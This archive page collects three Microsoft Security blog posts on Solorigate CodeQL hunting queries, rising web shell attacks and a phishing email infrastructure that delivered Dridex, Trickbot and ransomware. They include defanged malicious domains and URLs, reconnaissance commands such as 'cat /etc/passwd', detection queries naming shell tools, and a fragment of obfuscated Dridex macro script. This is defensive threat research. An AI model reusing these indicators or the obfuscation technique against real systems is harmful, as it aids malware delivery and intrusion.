Archive

Author Archive

Microsoft open sources CodeQL queries used to hunt for Solorigate activity

February 25th, 2021 No comments

A key aspect of the Solorigate attack is the supply chain compromise that allowed the attacker to modify binaries in SolarWinds’ Orion product. These modified binaries were distributed via previously legitimate update channels and allowed the attacker to remotely perform malicious activities, such as credential theft, privilege escalation, and lateral movement, to steal sensitive information. The incident has reminded organizations to reflect not just on their readiness to respond to sophisticated attacks, but also the resilience of their own codebases.

Microsoft believes in leading with transparency and sharing intelligence with the community for the betterment of security practices and posture across the industry as a whole. In this blog, we’ll share our journey in reviewing our codebases, highlighting one specific technique: the use of CodeQL queries to analyze our source code at scale and rule out the presence of the code-level indicators of compromise (IoCs) and coding patterns associated with Solorigate. We are open sourcing the CodeQL queries that we used in this investigation so that other organizations may perform a similar analysis. Note that the queries we cover in this blog simply serve to home in on source code that shares similarities with the source in the Solorigate implant, either in the syntactic elements (names, literals, etc.) or in functionality. Both can occur coincidentally in benign code, so all findings will need review to determine if they are actionable. Additionally, there is no guarantee that the malicious actor is constrained to the same functionality or coding style in other operations, so these queries may not detect other implants that deviate significantly from the tactics seen in the Solorigate implant. These should be considered as just a part in a mosaic of techniques to audit for compromise.

Microsoft has long had integrity controls in place to verify that the final compiled binaries distributed to our servers and to our customers have not been maliciously modified at any point in the development and release cycle. For example, we verify that the source file hashes generated by the compiler match the original source files. Still, at Microsoft, we live by the “assume breach” philosophy, which tells us that regardless of how diligent and expansive our security practices are, potential adversaries can be equally as clever and resourced. As part of the Solorigate investigation, we used both automated and manual techniques to validate the integrity of our source code, build environments, and production binaries and environments.

Microsoft’s contribution during Solorigate investigations reflects our commitment to a community-based sharing vision described in Githubification of InfoSec. In keeping with our vision to grow defender knowledge and speed community response to sophisticated threats, Microsoft teams have openly and transparently shared indicators of compromise, detailed attack analysis and MITRE ATT&CK techniques, advanced hunting queries, incident response guidance, and risk assessment workbooks during this incident. Microsoft encourages other security organizations that share the “Githubification” vision to open source their own threat knowledge and defender techniques to accelerate defender insight and analysis. As we have shared before, we have compiled a comprehensive resource for technical details of the attack, indicators of compromise, and product guidance at https://aka.ms/solorigate. As part of Microsoft’s sweeping investigation into Solorigate, we reviewed our own environment. As we previously shared, these investigations found activity with a small number of internal accounts, and some accounts had been used to view source code, but we found no evidence of any modification to source code, build infrastructure, compiled binaries, or production environments.

A primer on CodeQL and how Microsoft utilizes it

CodeQL is a powerful semantic code analysis engine that is now part of GitHub. Unlike many analysis solutions, it works in two distinct stages. First, as part of the compilation of source code into binaries, CodeQL builds a database that captures the model of the compiling code. For interpreted languages, it parses the source and builds its own abstract syntax tree model, as there is no compiler. Second, once constructed, this database can be queried repeatedly like any other database. The CodeQL language is purpose-built to enable the easy selection of complex code conditions from the database.

One of the reasons we find so much utility from CodeQL at Microsoft is specifically because this two-stage approach unlocks many useful scenarios, including being able to use static analysis not just for proactive Secure Development Lifecycle analysis but also for reactive code inspection across the enterprise. We aggregate the CodeQL databases produced by the various build systems or pipelines across Microsoft to a centralized infrastructure where we have the capability to query across the breadth of CodeQL databases at once. Aggregating CodeQL databases allows us to search semantically across our multitude of codebases and look for code conditions that may span between multiple assemblies, libraries, or modules based on the specific code that was part of a build. We built this capability to analyze thousands of repositories for newly described variants of vulnerabilities within hours of the variant being described, but it also allowed us to do a first-pass investigation for Solorigate implant patterns similarly, quickly.

We are open sourcing several of the C# queries that assess for these code-level IoCs, and they can currently be found in the CodeQL GitHub repository. The Solorigate-Readme.md within that repo contains detailed descriptions of each query and what code-level IoCs each one is attempting to find. It also contains guidance for other query authors on making adjustments to those queries or authoring queries that take a different tactic in finding the patterns.

GitHub will shortly publish guidance on how they are deploying these queries for existing CodeQL customers. As a reminder, CodeQL is free for open-source projects hosted by GitHub.

Our approach to finding code-level IoCs with CodeQL queries

We used two different tactics when looking for code-level Solorigate IoCs. One approach looks for particular syntax that stood out in the Solorigate code-level IoCs; the other approach looks for overall semantic patterns for the techniques present in the code-level IoCs.

The syntactic queries are very quick to write and execute while offering several advantages over comparable regular expression searches; however, they are brittle to the malicious actor changing the names and literals they use. The semantic patterns look for the overall techniques used in the implant, such as hashing process names, time delays before contacting the C2 servers, etc. These are durable to substantial variation, but they are more complicated to author and more compute-intensive when analyzing many codebases at once.

Sample technique from implant with corresponding CodeQL query

By combining these two approaches, the queries are able to detect scenarios where the malicious actor changed techniques but used similar syntax, or changed syntax but employed similar techniques. Because it’s possible that the malicious actor could change both syntax and techniques, CodeQL was but one part of our larger investigative effort.

Next steps with CodeQL

The queries we shared in this blog and described in Solorigate-Readme.md target patterns specifically associated with the Solorigate code-level IoCs, but CodeQL also provides many other options to query for backdoor functionality and detection-evasion techniques.

These queries were relatively quick to author, and we were able to hunt for patterns much more accurately across our CodeQL databases and with far less effort to manually review the findings, compared to using text searches of source code. CodeQL is a powerful developer tool, and our hope is that this post inspires organizations to explore how it can be used to improve reactive security response and act as a compromise detection tool.

In future blog posts, we’ll share more ways that Microsoft uses CodeQL. We’ll also continue open-sourcing queries and utilities that build upon CodeQL so that others may benefit from them and further build upon them.

The post Microsoft open sources CodeQL queries used to hunt for Solorigate activity appeared first on Microsoft Security.

Web shell attacks continue to rise

February 11th, 2021 No comments

One year ago, we reported the steady increase in the use of web shells in attacks worldwide. The latest Microsoft 365 Defender data shows that this trend not only continued, it accelerated: every month from August 2020 to January 2021, we registered an average of 140,000 encounters of these threats on servers, almost double the 77,000 monthly average we saw last year.

Figure 1. Web shell encounters on servers

The escalating prevalence of web shells may be attributed to how simple and effective they can be for attackers. A web shell is typically a small piece of malicious code written in typical web development programming languages (e.g., ASP, PHP, JSP) that attackers implant on web servers to provide remote access and code execution to server functions. Web shells allow attackers to run commands on servers to steal data or use the server as launch pad for other activities like credential theft, lateral movement, deployment of additional payloads, or hands-on-keyboard activity, while allowing attackers to persist in an affected organization.

As web shells are increasingly more common in attacks, both commodity and targeted, we continue to monitor and investigate this trend to ensure customers are protected. In this blog, we will discuss challenges in detecting web shells, and the Microsoft technologies and investigation tools available today that organizations can use to defend against these threats. We will also share guidance for hardening networks against web shell attacks.

Web shells as entry point for attacks

Attackers install web shells on servers by taking advantage of security gaps, typically vulnerabilities in web applications, in internet-facing servers. These attackers scan the internet, often using public scanning interfaces like shodan.io, to locate servers to target. They may use previously fixed vulnerabilities that unfortunately remain unpatched in many servers, but they are also known to quickly take advantage of newly disclosed vulnerabilities.

For example, on June 30, F5 Networks released a patch for CVE-2020-5902, a remote code execution (RCE) vulnerability in Traffic Management User Interface (TMUI). The vulnerability is a directory traversal bug with a CVSS score of 9.8 out of a possible 10. Just four days later, on July 4, exploit code was added to a Metasploit module.

Figure 2. CVE-2020-5902 exploit code

The following day, Microsoft researchers started seeing the exploit being used by attackers to upload a web shell to vulnerable servers. The web shell was used to run common cryptocurrency miners. In the days that followed, industry security researchers saw the exploit being broadly used to deploy web shells, with multiple variants surfacing not long after.

This incident demonstrates the importance of keeping servers up to date and hardened against web shell attacks. Web servers are frequently accessible from the internet and can be used by attackers to gain access to a network.

Web shells as persistence mechanisms

Once installed on a server, web shells serve as one of the most effective means of persistence in an enterprise. We frequently see cases where web shells are used solely as a persistence mechanism. Web shells guarantee that a backdoor exists in a compromised network, because an attacker leaves a malicious implant after establishing an initial foothold on a server. If left undetected, web shells provide a way for attackers to continue to gather data from and monetize the networks that they have access to.

Compromise recovery cannot be successful and enduring without locating and removing attacker persistence mechanisms. And while rebuilding a single compromised system is a great solution, restoring existing assets is the only feasible option for many. So, finding and removing all backdoors is a critical aspect of compromise recovery.

And this brings us back to the challenge of web shell detection. As we mentioned earlier, web shells can be generalized as a means of executing arbitrary attacker input by way of an implant. The first challenge is dealing with just how many ways an attacker can execute code. Web applications support a great array of languages and frameworks and, thus, provide a high degree of flexibility and compatibility that attackers take advantage of.

In addition, the volume of network traffic plus the usual noise of constant internet attacks means that targeted traffic aimed at a web server can blend right in, making detection of web shells a lot harder and requiring advanced behavior-based detections that can identify and stop malicious activities that hide in plain sight.

Challenges in detecting web shells

Web shells can be built using any of several languages that are popular with web applications. Within each language, there are several means of executing arbitrary commands and there are multiple means for arbitrary attacker input. Attackers can also hide instructions in the user agent string or any of the parameters that get passed during a web server/client exchange.

Attackers combine all these options into just a couple of bytes to produce a web shell, for example:

Figure 3. Example of web shell code

In the example above, the only readable word in the web shell is “eval”, which can be easy to miss or misinterpret. When analyzing script, it is important to leverage contextual clues. For example, a scheduled task called “Update Google” that downloads and runs code from a suspicious website should be inspected more closely.

With web shells, analyzing context can be a challenge because the context is not clear until the shell is used. In the following code, the most useful clues are “system” and “cat /etc/passwd”, but they do not appear until the attacker interacts with the web shell:

Figure 4. Another example of web shell code

Another challenge in detecting web shells is uncovering intent. A harmless-seeming script can be malicious depending on intent. But when attackers can upload arbitrary input files in the web directory, then they can upload a full-featured web shell that allows arbitrary code execution—which some very simple web shells do.

These file-upload web shells are simple, lightweight, and easily overlooked because they cannot execute attacker commands on their own. Instead, they can only upload files, such as full-featured web shells, onto web servers. Because of their simplicity, they are difficult to detect and can be dismissed as benign, and so they are often used by attackers for persistence or for early stages of exploitation.

Finally, attackers are known to hide web shells in non-executable file formats, such as media files. Web servers configured to execute server-side code create additional challenges for detecting web shells, because on a web server, a media file is scanned for server-side execution instructions. Attackers can hide web shell scripts within a photo and upload it to a web server. When this file is loaded and analyzed on a workstation, the photo is harmless. But when a web browser asks a server for this file, malicious code executes server side.

These challenges in detecting web shells contribute to their increasing popularity as an attack tool. We constantly monitor how these evasive threats are utilized in cyberattacks, and we continue to improve protections. In the next section, we discuss how behavior-based detection technologies help us protect customers from web shell attacks.

How Microsoft helps defend networks against web shell attacks

Gaining visibility into internet-facing servers is key to detecting and addressing the threat of web shells. To tackle challenges in detecting these threats, Microsoft Defender for Endpoint uses a combination of durable protections that prevent web shell installation and behavior-based detections that identify related malicious activity. Microsoft Defender for Endpoint exposes malicious behavior by analyzing script file writes and process executions. Due to the nature of web shells, static analysis is not effective—as we have shown, it is relatively easy to modify web shells and bypass static protections. To effectively deliver protection, Microsoft Defender for Endpoint uses multiple layers of protection through behavior inspection.

Behavior-based blocking and containment capabilities, which use engines that specialize in detecting threats by analyzing behavior, monitor web-accessible directories for any new script file creation. While file creation events alone cannot be treated as suspicious, correlating such events with the responsible process tree can yield more reliable signals and surface malicious attempts. The engine can then remediate the script, neutralizing the primary infection vector. For example, IIS instance (w3wp.exe) running suspicious processes such as ‘cmd.exe /c echo’, ‘certutil.exe’, or ‘powershell.exe’ that result in the creation of script files in web -accessible folders is a rare event and is, thus, typically a strong sign of web server compromise and web shell installation.

Microsoft Defender for Endpoint also detects web shell installation attempts originating from remote systems within the organization using various lateral movement methods. For example, attackers have been observed to drop web shells through Windows Remote Management (WinRM) or use existing Windows commands to transfer web shells over SMB. On the web server, these remote actions are carried by system processes, thus giving visibility into the process tree. System privilege process dropping script files is another suspicious event and provides the behavior inspection engines ways to remediate the script before the attackers can perform any malicious actions.

Behavior-based protection also provides post-compromise defense in scenarios where attackers are already operating and running commands on web servers. Once attackers gain access to a server, one of their first steps is to understand the privilege and the environment they have access to by using built-in reconnaissance commands that are not typically used by web applications. IIS instance (w3wp.exe) running commands like ‘net’, ‘whoami’, ‘dir’, ‘cmd.exe’, or ‘query’, to name a few, is typically a strong early indicator of web shell activity.

IIS servers have built-in management tools used by administrators to perform various maintenance tasks. These platforms surface various PowerShell cmdlets that can expose critical information to the attackers. IIS instances (w3wp.exe) that host various web-facing client services such as Outlook on the web (formerly known as Outlook Web App or OWA) or Exchange admin center (EAC; formerly known as the Exchange Control Panel or ECP) accessing the management platform or executing below cmdlets is a suspicious activity and signifies a hands-on-keyboard attack. The behavior engine monitors execution of such cmdlets and the responsible process trees, for example:

With its behavior-based blocking and containment capabilities, Microsoft Defender for Endpoint can identify and stop behavior associated with web shell attacks. It raises alerts for these detections, enabling security operations teams to use the rich investigation tools in Microsoft Defender for Endpoint to perform additional investigation and hunting for related or similar threats.

Figure 5. Microsoft Defender for Endpoint alerts for behaviors related to web shell attacks

Microsoft 365 Defender and Microsoft Defender for Endpoint customers can also run advanced hunting queries to proactively hunt for web shell attacks:

Look for suspicious process that IIS worker process (w3wp.exe), Apache HTTP server processes (httpd.exe, visualsvnserver.exe), etc. do not typically initiate (e.g., cmd.exe and powershell.exe)

DeviceProcessEvents
| where InitiatingProcessCommandLine has_any("beasvc.exe","coldfusion.exe","httpd.exe","owstimer.exe","visualsvnserver.exe","w3wp.exe") or InitiatingProcessCommandLine contains 'tomcat'
| where FileName != "csc.exe" // exclude csharp compiler
| where FileName != "php-cgi.exe" //exclude php group, fast cgi
| where FileName != "vbc.exe" //exclude Visual Basic Command Line Compiler
| summarize by FileName

Look for suspicious web shell execution, this can identify processes that are associated with remote execution and reconnaissance activity (example: “arp”, “certutil”, “cmd”, “echo”, “ipconfig”, “gpresult”, “hostname”, “net”, “netstat”, “nltest”, “nslookup”, “ping”, “powershell”, “psexec”, “qwinsta”, “route”, “systeminfo”, “tasklist”, “wget”, “whoami”, “wmic”, etc.)

DeviceProcessEvents
| where InitiatingProcessParentFileName in~("beasvc.exe","coldfusion.exe","httpd.exe","owstimer.exe","visualsvnserver.exe","w3wp.exe") or InitiatingProcessParentFileName startswith "tomcat"
| where InitiatingProcessFileName in~("powershell.exe","powershell_ise.exe","cmd.exe")
| where FileName != 'conhost.exe'

Hardening servers against web shells

A single web shell allowing attackers to remotely run commands on a server can have far-reaching consequences. With script-based malware, however, everything eventually funnels to a few natural chokepoints, such as cmd.exe, powershell.exe, and cscript.exe. As with most attack vectors, prevention is critical.

Organizations can harden systems against web shell attacks by taking these preventive steps:

  • Identify and remediate vulnerabilities or misconfigurations in web applications and web servers. Use Threat and Vulnerability Management to discover and fix these weaknesses. Deploy the latest security updates as soon as they become available.
  • Implement proper segmentation of your perimeter network, such that a compromised web server does not lead to the compromise of the enterprise network.
  • Enable antivirus protection on web servers. Turn on cloud-delivered protection to get the latest defenses against new and emerging threats. Users should only be able to upload files in directories that can be scanned by antivirus and configured to not allow server-side scripting or execution.
  • Audit and review logs from web servers frequently. Be aware of all systems you expose directly to the internet.
  • Utilize the Windows Defender Firewall, intrusion prevention devices, and your network firewall to prevent command-and-control server communication among endpoints whenever possible, limiting lateral movement, as well as other attack activities.
  • Check your perimeter firewall and proxy to restrict unnecessary access to services, including access to services through non-standard ports.
  • Practice good credential hygiene. Limit the use of accounts with local or domain admin level privileges.

Web shells and the attacks that they enable are a multi-faceted threat that require comprehensive visibility across domains and platforms. Microsoft 365 Defender correlates threat data from endpoints, email and data, identities, and apps to coordinate cross-domain protection. Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365.

 

Detection and Response Team (DART)

Microsoft Defender Security Research Team

 

The post Web shell attacks continue to rise appeared first on Microsoft Security.

What tracking an attacker email infrastructure tells us about persistent cybercriminal operations

February 1st, 2021 No comments

From March to December 2020, we tracked segments of a dynamically generated email infrastructure that attackers used to send more than a million emails per month, distributing at least seven distinct malware families in dozens of campaigns using a variety of phishing lures and tactics. These campaigns aimed to deploy malware on target networks across the world, with notable concentration in the United States, Australia, and the United Kingdom. Attackers targeted the wholesale distribution, financial services, and healthcare industries.

By tracing these campaigns, we uncovered a sprawling infrastructure that is robust enough to seem legitimate to many mail providers, while flexible enough to allow the dynamic generation of new domain names and remain evasive. Shared IP space, domain generation algorithm (DGA) patterns, subdomains, registrations metadata, and signals from the headers of malicious emails enabled us to validate our research through overlaps in campaigns where attackers utilized multiple segments of purchased, owned, or compromised infrastructure. Using the intelligence we gathered on this infrastructure, we were at times able to predict how a domain was going to be used even before campaigns began.

This email infrastructure and the malware campaigns that use it exemplify the increasing sophistication of cybercriminal operations, driven by attackers who are motivated to use malware infections for more damaging, potentially more lucrative attacks. In fact, more recent campaigns that utilized this infrastructure distributed malware families linked to follow-on human-operated attacks, including campaigns that deployed Dopplepaymer, Makop, Clop, and other ransomware families.

Our deep investigation into this infrastructure brings to light these important insights about persistent cybercriminal operations:

  • Tracking an email infrastructure surfaces patterns in attacker activity, bubbling up common elements in seemingly disparate campaigns
  • Among domains that attackers use for sending emails, distributing malware, or command-and-control, the email domains are the most likely to share basic registration similarities and more likely to use DGA
  • Malware services rely on proxy providers to make tracking and attribution difficult, but the proxies themselves can provide insights into upcoming campaigns and improve our ability to proactively protect against them
  • Gaining intelligence on email infrastructures enables us to build or improve proactive and comprehensive protections like those provided by Microsoft Defender for Office 365 to defend against some of the world’s most active malware campaigns

While there is existing in-depth research into some of these specific campaigns, in this blog we’ll share more findings and details on how email distribution infrastructures drive some of the most prevalent malware operations today. Our goal is to provide important intelligence that hosting providers, registrars, ISPs, and email protection services can use and build on to protect customers from the threats of today and the future. We’ll also share insights and context to empower security researchers and customers to take full advantage of solutions like Microsoft Defender for Office 365 to perform deep investigation and hunting in their environment and make their organizations resilient against attacks.

The role of for-sale infrastructure services in the threat ecosystem

We spotted the first segment of the infrastructure in March, when multiple domains were registered using distinct naming patterns, including the heavy use of the word “strange”, inspiring the name StrangeU. In April, a second segment of the infrastructure, one that used domain generation algorithm (DGA), began registration as well. We call this segment RandomU.

The emergence of this infrastructure in March dovetailed with the disruption of the Necurs botnet that resulted in the reduction of service. Before being disrupted, Necurs was one of the world’s largest botnets and was used by prolific malware campaign operators such as those behind Dridex. For-sale services like Necurs enable attackers to invest in malware production while leasing the delivery components of their activities to further obfuscate their behavior. The StrangeU and RandomU infrastructure appear to fill in the service gap that the Necurs disruption created, proving that attackers are highly motivated to quickly adapt to temporary interruptions to their operations.

Graph showing timeline of the Necurs takedown and the staging and operation of StrangeU and RandomU

Figure 1. Timeline of staging and utilization of the email infrastructure

At first, the new email infrastructure was used infrequently in campaigns that distributed highly commodity malware like Mondfoxia and Makop. Soon, however, it attracted the attention of Dridex and Trickbot operators, who began using the infrastructure for portions of their campaigns, sometimes entirely and sometimes mixed with other compromised infrastructure or email providers.

Analyzing these mail clusters provides insight into how human the tangled web of modular attacker infrastructure remains. From unifying key traits in registration and behavior to the simple and effective techniques that the wide variety of malware uses, attackers’ goals in this diversification point toward combatting automated analysis. However, these same shared characteristics and methods translate to insights that inform resilient protections that defend customers against these attacks.

Domain registration and email infrastructure staging

On March 7, 2020, attackers began registering a series of domains with Namecheap using sets of stolen email addresses, largely from free email services like mail.com, mail.ru, list.ru, and others. These domains all had similar characteristics that could be linked back to various similarities in registration. Almost all of the registered domains contained the word “strange” and were under the .us TLD, hence the name StrangeU. The use of .us TLD prevented domain or WHOIS privacy services—often used to obfuscate domain ownership and provenance—which are prohibited for this TLD.

To circumvent tracking and detection of these domains, attackers used false registration metadata. However, there was heavy crossover in the fake names and email addresses, allowing us to find additional domain names, some of which could be tied together using other keywords as shown in the list below, and fingerprint the domain generation mechanism.

The StrangeU domains were registered in early March 2020 and operated in continuous small bursts until April, when they were used for a large ransomware campaign. Following that, a new campaign occurred fairly regularly every few weeks. Registration of new domains continued throughout the year, and in September, the StrangeU infrastructure was used in conjunction with a similar infrastructure to deliver Dridex, after which these domains were used less frequently.

This second mailing segment, RandomU, employed a different DGA mechanism but still utilized Namecheap and showed a more consistent through line of registration metadata than its StrangeU counterpart. This infrastructure, which surfaced in April, was used infrequently through the Spring, with a surge in May and July. After the Dridex campaign in September in which it was used along with StrangeU, it has been used in two large Dridex campaigns every month.

Table listing observed patterns in StrangeU and RandomU infrastructures

Figure 2. Common patterns in domains belonging to the email infrastructure

The StrangeU and RandomU segments of domains paint a picture of supplementing modular mailing services that allowed attackers to launch region-specific and enterprise-targeting attacks at scale, delivering over six million emails. The two segments contained a standard barrage of mailing subdomains, with over 60 unique subdomains referencing email across clusters, consistent with each other, with each domain having four to five subdomains. The following is a sample of malware campaigns, some of which we discuss in detail in succeeding sections, that we observed this infrastructure was used for:

  • Korean spear-phishing campaigns that delivered Makop ransomware in April and June
  • Emergency alert notifications that distributed Mondfoxia in April
  • Black Lives Matter lure that delivered Trickbot in June
  • Dridex campaign delivered through StrangeU and other infra from June to July
  • Dofoil (SmokeLoader) campaign in August
  • Emotet and Dridex activities in September, October, and November

Timeline of campaigns using the StrangeU and RandomU infrastructures

Figure 3. Timeline of campaigns that used StrangeU and RandomU domains

Korean spear-phishing delivers Makop ransomware (April and June 2020)

In early April, StrangeU was used to deliver the Makop ransomware. The emails were sent to organizations that had major business operations in Korea and used names of Korean companies as display names. Signals from Microsoft Defender for Office 365 indicated that these campaigns ran in short bursts.

The emails had .zip attachments containing executables with file names that resembled resumes from job seekers. Once a user opened the attachments, the executables delivered Makop, a ransomware-as-a-service (RaaS) payload that targeted devices and backups.

Upon infection, the malware quickly used the WMI command-line (WMIC) utility and deleted shadow copies. It then used the BCEdit tool and altered the boot configuration to ignore future failures and prevent restoration before encrypting all files and renaming them with .makop extensions.

The second time we observed the campaign almost two months later, in early June, the attackers used a Makop ransomware variant with many modified elements, including added persistence via scripts in the Startup folder before triggering a reboot.

Nearly identical attempts to deliver Makop using resume-based lures were covered by Korean security media during the entire year, using popular mail services through legitimate vendors like Naver and Hanmail. This could indicate that during short bursts the Makop operators were unable to launch their campaigns through legitimate services and had to move to alternate infrastructures like StrangeU instead.

Black Lives Matter lure delivers Trickbot (June 2020)

One campaign associated with the StrangeU infrastructure gained notoriety in mid-June for its lure as well as for delivering the notorious info-stealing malware Trickbot. This campaign circulated emails with malicious Word documents claiming to seek anonymous input on the Black Lives Matter movement.

An initial version of this campaign was observed on June 10 sending emails from a separate, unique attacker-owned mailing infrastructure using .monster domains. However, in the next iteration almost two weeks later, the campaign delivered emails from various domains specifically created with the Black Lives Matter signage, interspersed with StrangeU domains:

  • b-lives-matter[.]site
  • blivesm[.]space
  • blivesmatter[.]site
  • lives-matter-b[.]xyz
  • whoslivesmatter[.]site
  • lives-m-b[.]xyz
  • ereceivedsstrangesecureworld[.]us
  • b-l-m[.]site

Both campaigns carried the same Trickbot payload, operated for two days, and used identical post-execution commands and callouts to compromised WordPress sites.

Once a user opened the document attachment and enabled the malicious macro, Word launched cmd.exe with the command “/c pause” to evade security tools that monitored for successive launches of multiple processes. It then launched commands that deleted proxy settings in preparation for connecting to multiple C2 IP addresses.

Screenshot of malicious document

Figure 4. Screenshot of the malicious document used to deliver Trickbot

The commands also launched rundll32.exe, a native binary commonly used as a living-off-the-land binary, to load a malicious file in memory. The commandeered rundll32.exe also proceeded to perform other tasks using other living-off-the-land binaries, including wermgr.exe and svchost.exe.

In turn, the hijacked wermgr.exe process dropped a file with a .dog extension that appeared to be the Trickbot payload. The same instance of wermgr.exe then appeared to inject code into svchost.exe and scanned for open SMB ports on other devices. The commandeered svchost.exe used WMI to open connections to additional devices on the network, while continuing to collect data from the initial infected device. It also opened multiple browsers on localhost connections to capture browser history and other information via esentutl.exe and grabber_temp.edb, both of which are often used by the Trickbot malware family.

This campaign overwhelmingly targeted corporate accounts in the United States and Canada and avoided individual accounts. Despite heavy media coverage, this campaign was relatively small, reflecting a common behavior among cybercrime groups, which often run multiple, dynamic low-volume campaigns designed to evade resilient detection.

Dridex campaigns big and small (June to July 2020 and beyond)

From late June through July, Dridex operators ran numerous campaigns that distributed Excel documents with malicious macros to infect devices. These operators first delivered emails through the StrangeU infrastructure only, but they quickly started to use compromised email accounts of legitimate organizations as well, preventing defenders from easily blocking deliveries. Despite this, emails from either StrangeU or the compromised accounts had overlapping attributes. For example, many of the emails used the same Reply To addresses that were sourced from compromised individual accounts and not consistent with the sender addresses.

During the bulk of this run, Excel files were attached directly in the email in order to eventually pull the Dridex payload from .xyz domains such as those below. The attackers changed the delivery domains every few days and connected to IP-based C2s on familiar ports like 4664, 3889, 691, and 8443:

  • yumicha[.]xyz
  • rocesi[.]xyz
  • secretpath[.]xyz
  • guruofbullet[.]xyz
  • Greyzone[.]xyz

When opened, the Excel document installed one of a series of custom Dridex executables downloaded from the attacker C2 sites. Like most variants in this malware family, the custom Dridex executables incorporated code loops, time delays, and environment detection mechanisms that evaded numerous public and enterprise sandboxes.

Dridex is known for its capability to perform credential theft and establish connectivity to attacker infrastructure. In this instance, the same Dridex payload was circulated daily using varying lures, often repeatedly to the same organizations to ensure execution on target networks.

During the longer and more stable Excel Dridex campaigns in June and July, a Dridex variant was also distributed in much smaller quantities utilizing Word documents over a one-day period, perhaps testing new evasion techniques. These Word documents, while still delivering Dridex, improved existing obfuscation methods using a unique combination of VBA stomping and replacing macros and function calls with arbitrary text. In a few samples of these documents, we found text from Shakespearean prose.

</ms:script>   
var farewell_and_moon = ["m","a","e","r","t","s",".","b","d","o","d","a"].reverse().join("")   
a_painted_word(120888)   
function as_thy_face(takes_from_hamlet)   
{return new ActiveXObject(takes_from_hamlet)}   
</ms:script>

While Microsoft researchers didn’t observe this portion of the campaign moving into the human-operated phase—targets did not open the attachment—this campaign was likely to introduce tools like PowerShell Empire or Cobalt Strike to steal credentials, move laterally, and deploy ransomware.

Emotet, Dridex, and the RandomU infrastructure (September and beyond)

Despite an errant handful of deliveries distributing Dofoil (also known as SmokeLoader) and other malware, the vast majority of the remaining deliveries through StrangeU have been Dridex campaigns that reoccured every few weeks for a handful of days at a time. These campaigns started on September 7, when RandomU and StrangeU were notably used in a single campaign, after which StrangeU began to see less utilization.

These Dridex campaigns utilized an Emotet loader and initial infrastructure for hosting, allowing the attackers to conduct a highly modular email campaign that delivered multiple distinct links to compromised domains. These domains employed heavy sandbox evasion and are connected by a series of PHP patterns ending in a small subset of options: zxlbw.phpyymclv.phpzpsxxla.php, or app.php. As the campaigns continued, the PHP was dynamically generated, adding other variants, including vary.php, invoice.php, share.php, and many others. Some examples are below.

  • hxxps://molinolafama[.]com[.]mx/app[.]php
  • hxxps://meetingmins[.]com/app[.]php
  • hxxps://contrastmktg[.]com/yymclv[.]php
  • hxxps://idklearningcentre[.]com[.]ng/zxlbw[.]php
  • hxxps://idklearningcentre[.]com[.]ng/zpsxxla[.]php
  • hxxps://idklearningcentre[.]com[.]ng/yymclv[.]php
  • hxxps://hsa[.]ht/yymclv[.]php
  • hxxps://hsa[.]ht/zpsxxla[.]php
  • hxxps://hsa[.]ht/zxlbw[.]php
  • hxxps://contrastmktg[.]com/yymclv[.]php
  • hxxps://track[.]topad[.]co[.]uk/zpsxxla[.]php
  • hxxps://seoemail[.]com[.]au/zxlbw[.]php
  • hxxps://bred[.]fr-authentification-source-no[.]inaslimitada[.]com/zpsxxla[.]php
  • hxxp://www[.]gbrecords[.]london/zpsxxla[.]php
  • hxxp://autoblogsite[.]com/zpsxxla[.]php
  • hxxps://thecrossfithandbook[.]com/zpsxxla[.]php
  • hxxps://mail[.]168vitheyrealestate[.]com/zpsxxla[.]php

In this campaign, sandboxes were frequently redirected to unrelated sites like chemical manufacturers or medical suppliers, while users received an Emotet downloader within a Word document, which once again used macros to facilitate malicious activities.

Screenshot of malicious document

Figure 5. Screenshot of the malicious document used to deliver Dridex

The malicious macro utilized WMI to run a series of standard PowerShell commands. First, it downloaded the executable payload itself by contacting a series of C2 domains associated with Emotet campaigns since July. Afterward, additional encoded PowerShell commands were used in a similar fashion to download a .zip file that contained a Dridex DLL. Additional commands also reached out to a variety of Emotet infrastructure hosted on compromised WordPress administrative pages, even after the Dridex payload has already been downloaded. Dridex then modified RUN keys to automatically start the Dridex executable, which was renamed to riched20.exe on subsequent logons.

We also observed simultaneous connections to associated Dridex and Emotet infrastructure. These connections were largely unencrypted and occurred over a variety of ports and services, including ports 4664 and 9443. At this point the malware had firm presence on the machine, enabling attackers to perform human-operated activity at a later date.

In the past, reports have confirmed Dridex being delivered via leased Emotet infrastructure. There have also been many IP and payload-based associations. This research adds to that body of work and confirms additional associations via namespace, as well as correlation of email lure, metadata, and sender. This iteration of campaign repeated through October to December largely unchanged with nearly identical mails.

Defending organizations against malware campaigns

As attacks continue to grow in modularity, the tactics that attackers use to deliver phishing email, gain initial access on systems, and move laterally will continuously become more varied. This research shows that despite these disparities and the increased resiliency attackers have built, the core tactics and tools that they use are still limited in scope, relying repeatedly on familiar malicious macros, lures, and sending tactics.

Sweeping research into massive attacker infrastructures, as well as our real-time monitoring of malware campaigns and attacker activity, directly inform Microsoft security solutions, allowing us to build or improve protections that block malware campaigns and other email threats, both current and future, as well as provide enterprises with the tools for investigating and responding to email campaigns in real-time.

Microsoft delivers these capabilities through Microsoft Defender for Office 365. Features likes Safe attachments and Safe links ensure real-time, dynamic protection against email campaigns no matter the lure or evasion tactic. These features use a combination of detonation, automated analysis, and machine learning to detect new and unknown threats. Meanwhile, the Campaign view shows the complete picture of email campaigns as they happen, including timelines, sending patterns, impact to the organization, and details like IP addresses, senders, and URLs. These insights into email threats empower security operations teams to respond to attacks, perform additional hunting, and fix configuration issues.

Armed with an advanced solution like Microsoft Defender for Office 365 and the rest of technologies in the broader Microsoft 365 Defender solution, enterprises can further increase resilience against threats by following these recommendations:

  • Educate end users about protecting personal and business information in social media, filtering unsolicited communication, identifying lures in spear-phishing email, and reporting of reconnaissance attempts and other suspicious activity.
  • Configure Office 365 email filtering settings to ensure blocking of phishing & spoofed emails, spam, and emails with malware. Set Office 365 to recheck links on click and delete sent mail to benefit from newly acquired threat intelligence.
  • Disallow macros or allow only macros from trusted locations. See the latest security baselines for Office and Office 365.
  • Turn on AMSI for Office VBA.
  • Check perimeter firewall and proxy to restrict servers from making arbitrary connections to the internet to browse or download files. Turn on network protection to block connections to malicious domains and IP addresses. Such restrictions help inhibit malware downloads and command-and-control activity.

Turning on attack surface reduction rules, including rules that can block advanced macro activity, executable content, process creation, and process injection initiated by Office applications, also significantly improves defenses. The following rules are especially useful in blocking the techniques observed in campaigns using the StrangeU and RandomU infrastructure:

